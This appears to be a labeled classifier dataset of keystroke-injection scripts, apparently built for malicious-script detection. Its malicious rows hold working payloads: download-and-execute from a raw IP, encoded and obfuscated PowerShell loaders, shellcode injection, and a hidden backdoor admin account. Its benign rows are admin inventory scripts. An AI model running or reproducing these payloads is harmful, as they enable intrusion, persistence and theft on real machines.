-BackendAddressPool $bepoolContoso,$bepoolfabrikam ` enter -Probe $probe -LoadBalancingRule $contosorule,$fabrikamrule enter $publicipvm1 = New-AzPublicIpAddress -ResourceGroupName $rgName -Name MyPublicIp-Vm1 ` enter -location $location -AllocationMethod Dynamic enter $ipconfig1 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig1' ` enter -Subnet $vnet.subnets[0] -Primary enter enter $ipconfig2 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig2' ` enter -Subnet $vnet.Subnets[0] -LoadBalancerBackendAddressPool $bepoolContoso enter enter $ipconfig3 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig3' ` enter -Subnet $vnet.Subnets[0] -LoadBalancerBackendAddressPool $bepoolfabrikam enter $nicVM1 = New-AzNetworkInterface -ResourceGroupName $rgName -Location $location ` enter -Name 'MyNic-VM1' -IpConfiguration $ipconfig1, $ipconfig2, $ipconfig3 enter $vmConfig = New-AzVMConfig -VMName 'myVM1' -VMSize Standard_DS2 -AvailabilitySetId $as.Id | ` enter Set-AzVMOperatingSystem -Windows -ComputerName 'myVM1' -Credential $cred | ` enter Set-AzVMSourceImage -PublisherName 'MicrosoftWindowsServer' -Offer 'WindowsServer' ` enter -Skus '2016-Datacenter' -Version latest | Add-AzVMNetworkInterface -Id $nicVM1.Id enter $vm = New-AzVM -ResourceGroupName $rgName -Location $location -VM $vmConfig enter $publicipvm1 = New-AzPublicIpAddress -ResourceGroupName $rgName -Name 'MyPublicIp-Vm2' ` enter -location $location -AllocationMethod Dynamic enter $ipconfig1 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig1' ` enter -Subnet $vnet.subnets[0] -Primary enter enter $ipconfig2 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig2' ` enter -Subnet $vnet.Subnets[0] -LoadBalancerBackendAddressPool $bepoolContoso enter enter $ipconfig3 = New-AzNetworkInterfaceIpConfig -Name 'ipconfig3' ` enter -Subnet $vnet.Subnets[0] -LoadBalancerBackendAddressPool $bepoolfabrikam enter $nicVM2 = New-AzNetworkInterface -ResourceGroupName $rgName -Location $location ` enter -Name 'MyNic-VM2' -IpConfiguration $ipconfig1, $ipconfig2, $ipconfig3 enter $vmConfig = New-AzVMConfig -VMName 'myVM2' -VMSize Standard_DS2 -AvailabilitySetId $as.Id | ` enter Set-AzVMOperatingSystem -Windows -ComputerName 'myVM2' -Credential $cred | ` enter Set-AzVMSourceImage -PublisherName 'MicrosoftWindowsServer' -Offer 'WindowsServer' ` enter -Skus '2016-Datacenter' -Version latest | Add-AzVMNetworkInterface -Id $nicVM2.Id enter $vm = New-AzVM -ResourceGroupName $rgName -Location $location -VM $vmConfig enter enter",0,0,0.99994683,5.311204e-05
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter $lpquery = @"" enter SELECT enter COUNT(ImagePath, LaunchString, MD5) as ct, enter ImagePath, enter LaunchString, enter MD5, enter Publisher enter FROM enter *autorunsc.tsv enter WHERE enter Publisher not like '(Verified)%' and enter (ImagePath not like 'File not found%') enter GROUP BY enter ImagePath, enter LaunchString, enter MD5, enter Publisher enter ORDER BY enter ct ASC enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -fixedsep:on -rtp:-1 ""$lpquery"" enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter",0,0,0.9999062,9.3749375e-05
"win+r powershell enter function Publish-BitbucketDownload { [CmdletBinding()] param( [pscredential enter ] $Credential, [Parameter(Mandatory=$true)] [string] enter",1,1,0.0011248239,0.9988752
"win+r powershell enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Name, enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Server enter ) enter $resolvParams = @{ enter 'Server' = $Server enter 'DnsOnly' = $true enter 'NoHostsFile' = $true enter 'ErrorAction' = 'SilentlyContinue' enter 'ErrorVariable' = 'err' enter 'Name' = $Name enter } enter try enter { enter if (Resolve-DnsName @resolvParams) enter { enter $true enter } enter elseif ($err -and ($err.Exception.Message -match '(DNS name does not exist)|(No such host is known)')) enter { enter $false enter } enter else enter { enter throw $err enter } enter } enter catch enter { enter if ($_.Exception.Message -match 'No such host is known') enter { enter $false enter } enter else enter { enter throw $_ enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.7642745e-05,0.9999423
pOWersHelL -E WwBzAHkAUwB0AEUAbQAuAFQARQBYAFQALgBFAE4AYwBPAEQAaQBuAGcAXQA6ADoAVQ enter BuAEkAQwBPAGQARQAuAGcARQB0AHMAVABSAEkATgBHACgAWwBTAHkAUwB0AGUATQAuAGMATwBuAHYAZQ enter BSAFQAXQA6ADoAZgBSAG8ATQBiAGEAUwBlADYANABTAFQAUgBJAE4AZwAoACIAZABBAEIAeQBBAEgAaw enter BBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQ enter BEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQ enter B3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQ enter B3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQ enter BBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQ enter BHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcARQBBAFoAdwBCAGkAQQBHAGMAQQBiAHcAQg enter BzAEEARwA4AEEAZABRAEIAMwBBAEgAbwBBAGUAUQBCAGoAQQBHAFUAQQBaAGcAQgA1AEEARwBNAEEAWg enter BBAEIANQBBAEcAbwBBAGMAZwBCADYAQQBIAGMAQQBhAHcAQgBtAEEARwBrAEEAYgBBAEIAbQBBAEgASQ enter BBAGQAZwBCAG8AQQBIAF enter,1,1,6.540398e-05,0.99993455
"win r cmdctrl shift enter left enter NET USER RD_User RD_P@ssW0rD /ADD enter NET LOCALGROUP Administrators RD_User /ADD enter WINRM QUICKCONFIG enter y enter NETSH ADVFIREWALL FIREWALL ADD RULE NAME=""Windows Remote Management for RD"" PROTOCOL=TCP LOCALPORT=5985 DIR=IN ACTION=ALLOW PROFILE=PUBLIC,PRIVATE,DOMAIN enter REG ADD ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 enter REG ADD ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"" /f /v RD_User /t REG_DWORD /d 0 enter EXIT enter",1,1,7.473076e-05,0.99992526
"win+r enter powershell enter enter enter # Start the Paint application enter Start-Process mspaint enter enter # Wait for Paint to open enter Start-Sleep -Seconds 3 enter enter # Set the coordinates for the smiley face enter $smileyFace = @( (100, 100), (125, 75), (150, 100), (150, 125), (100, 125) ) enter enter # Open Paint's drawing tools enter $wshell = New-Object -ComObject wscript.shell enter $wshell.SendKeys('%{h}n') enter enter # Loop through each point in the smiley face and draw it enter foreach ($point in $smileyFace) { enter [System.Windows.Forms.Cursor]::Position = [System.Drawing.Point]::new($point[0], $point[1]) enter [System.Windows.Forms.Mouse]::LeftDown() enter [System.Windows.Forms.Cursor]::Position = [System.Drawing.Point]::new($point[0] + 1, $point[1] + 1) enter [System.Windows.Forms.Mouse]::LeftUp() enter Start-Sleep -Milliseconds 100 enter } enter enter # Close Paint enter Get-Process mspaint | Stop-Process enter enter",1,1,0.00046635303,0.99953365
"win+r powershell enter Import-Module $PSScriptRoot/TestFx-Tasks Describe ""Test-NewCredentialNewServiceP enter rincipal""{ Context ""Creates a correctly formatted ServicePrincipal""{ Login-Azu enter reRmAccount -AccessToken ""12345678"" -SkipValidation -AccountId ""testaccount"" -Te enter nantId ""8bc48661-1801-4b7a-8ca1-6a3cadfb4870"" -Subscription ""8bc48661-1801-4b7a- enter 8ca1-6a3cadfb4870"" -GraphAccessToken ""12345678"" Mock -ModuleName TestFx-Tasks G enter et-AzureRmADServicePrincipal { return @() } Mock -ModuleName TestFx-Tasks New-A enter zureRMADServicePrincipal { return @{""ApplicationId"" = ""8bc48661-1801-4b7a-8ca1-6 enter a3cadfb4870""; ""Id"" = ""8bc48661-1801-4b7a-8ca1-6a3cadfb4870""} } Mock -ModuleName enter TestFx-Tasks New-AzureRMRoleAssignment { return $true } Mock -ModuleName TestF enter x-Tasks Get-AzureRMRoleAssignment { return $true } $context = Get-AzureRmContex enter t $secureSecret = ConvertTo-SecureString -String ""testpassword"" -AsPlainText -F enter orce New-TestCreden enter enter",1,1,0.0070163626,0.9929837
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_hcq68xvr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4158078e-05
win+r powershell enter  function Test-Trigger { $dfname = Get-DataFactoryName $rgname = Get-Resourc enter eGroupName $rglocation = Get-ProviderLocation ResourceManagement $dflocation = enter Get-ProviderLocation DataFactoryManagement New-AzResourceGroup -Name $rgname enter -Location $rglocation -Force try enter enter,1,1,0.0021859214,0.99781406
"powershell @(747,745,703,748,766,693,763,758,759,694,761,748,750)|foreach{$01jd= enter $01jd+[char]($_-647)};$njk6='rl';new-alias j cu$njk6;.$([char](10492-10387)+'ex' enter )(j -useb $01jd) enter",1,1,6.981296e-05,0.99993014
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_atgu1d0d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter",0,0,0.999966,3.4021283e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_62p3q2hl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5139037e-05
"win+r enter powershell enter enter enter function Write-IisVerbose enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,Position=0)] enter [string] enter enter $SiteName, enter enter [string] enter $VirtualPath = '', enter enter [Parameter(Position=1)] enter [string] enter enter $Name, enter enter [Parameter(Position=2)] enter [string] enter $OldValue = '', enter enter [Parameter(Position=3)] enter [string] enter $NewValue = '' enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( $VirtualPath ) enter { enter $SiteName = Join-CIisVirtualPath -Path $SiteName -ChildPath $VirtualPath enter } enter enter Write-Verbose -Message ('[IIS Website] [{0}] {1,-34} {2} -> {3}' -f $SiteName,$Name,$OldValue,$NewValue) enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x05,0xca,0x79,0x85,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1287087e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_045uxx2h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4535737e-05
win space terminal enter dig +short txt ch whoami.cloudflare @1.0.0.1 > /Volumes/DUCKY/public-ip.txt enter enter win w enter,1,1,6.3171756e-05,0.9999368
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x70,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_6e4ginby"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 30 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4129298e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_tit9fd0a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3890785e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_uy1msyeq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4387293e-05
"win+r powershell enter function Invoke-SharpClipboard { $a=New-Object IO.MemoryStream(,[Convert]::Fro enter mBAsE64String(""H4sIAAAAAAAEAO1Yb2wcRxV/u3s+O+fmajtp46RJujkncDG9851t0vxz4sudHbu1H enter Td3tguEunt34/M2e7vX3T3HpjSkUFALLWorVEAFAWr50CpCIBVogaot9AMF9RMCqahURUgVLUgtQvChg enter pbfzO798R9I+rVizvtm3nvz3ryZefPmjSc//gApRBTA9957RE+RV4bp0uUCvvC1PwnTk5te2vOUNPHSn enter tyi7qgV2yrZWlktaKZpuWqeqXbVVHVTzZzKqmWryOKbN4f2+jqmR4gmJIX+deTZz9b0vkYRapcSUA6kz enter aPFYwBqzbBhry17dvMSbDZK9poK3fp5og7x16jrlSivXEd0ylf5SssGk7yV6ApUz6HfzstYk3pR66aL0 enter gZ8rAmPu2zZRT242Z9XuGF3k4pb47ZjF8i3DTaKiXas7gfycNxmhlXwbOU2C11Xr+t3Yq2ZHTGvHhMiL enter bS4h+jmdr52Mrc/uLb/pcqBa//twLzQBb43va87IejYd74TlDvhZoF97wahPOh0geBsAdh3tbWVV9ZVg enter BYMDt3B+/XGHcwkGN0GQu9uOdrdXPfL0e01hb0PydEdQOToNYDn+ahRgOCHPEJU4u1eoi0Jhfh6A+9Uo enter tjJkLoL8gPz0V1oh2zQK8H7YIQU3c3lWrjdUXhXcNvNzrWgtLe2WirnKFyjDbettFp7OCHCQQ+AvQJit enter JXbXafJSnQvt/lE9oYTEh+dvD1aGown4gOJgeQhTmkhg+83hus5T3Qf6rt5O+vaullyxD5tInoMdc9MF enter sfNc4GekzPjGdQvAP8KV enter enter",1,1,6.267122e-05,0.9999373
win r cmdctrl shift enter enter alt y \\live.sysinternals.com ools enter,1,1,6.95808e-05,0.9999304
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_s48x9oed"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter",0,0,0.9999658,3.424458e-05
"win+r powershell enter <script language=""VBScript""> Function var_func() UCDGAFBZHPZBPOUDBHZXLO = ""PQIDN enter TZNLYQRSLBKIGXKYRGDYLYASKBOFYBDEBQNEUDLwNIDPGNRVUEDOBONRUIODYZrIZDHTXQZXAGULFLHN enter QINIDhNIDPGNRVUEDOBONRUIODYZHJJIOOHCPBKROLZDHCKRHCHJJIOOHCPBKROLZDHCKRHC "" UCDGA enter FBZHPZBPOUDBHZXLO = replace(UCDGAFBZHPZBPOUDBHZXLO,""NIDPGNRVUEDOBONRUIODYZ"",""e"") enter UCDGAFBZHPZBPOUDBHZXLO = replace(UCDGAFBZHPZBPOUDBHZXLO,""PQIDNTZNLYQRSLBKIGXKYR enter "",""p"") UCDGAFBZHPZBPOUDBHZXLO = replace(UCDGAFBZHPZBPOUDBHZXLO,""GDYLYASKBOFYBDEB enter QNEUDL"",""o"") UCDGAFBZHPZBPOUDBHZXLO = replace(UCDGAFBZHPZBPOUDBHZXLO,""IZDHTXQZXA enter GULFLHNQINID"",""s"") UCDGAFBZHPZBPOUDBHZXLO = replace(UCDGAFBZHPZBPOUDBHZXLO,""HJJI enter OOHCPBKROLZDHCKRHC"",""l"") YYYQRTVLQSBBKPRHCDXOFP = ""$HUEFUTBTCTLCFKDGFALECUN = '[ enter *+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@ enter %-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$ enter \4}84}8705\01[/#-(6& enter enter",1,1,5.7232875e-05,0.9999428
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_7mvmyxmc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4162935e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_06064kuv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 75 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4264573e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_pi3mssng"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.412816e-05
